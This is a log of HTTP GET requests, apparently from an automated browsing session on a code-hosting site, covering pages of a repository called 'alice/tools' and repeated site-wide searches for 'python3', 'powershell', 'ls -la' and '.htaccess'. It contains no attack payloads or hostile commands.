{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-activity-top-authors-contributors-graph-code-frequency-graph-recent-commits-graph.2afcdb46.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-activity-top-authors.0b8b147c.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/graph", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/dropzone.5a752d14.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/dropzone.265e21d7.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/tag/v1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/archive/main.zip", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: session=d65379616ffd0971; lang=en-US", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice?tab=repositories&q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=python3&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=powershell&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues?type=your_repositories&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/users?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/organizations?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=ls%20-la&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/repos?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/explore/code?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
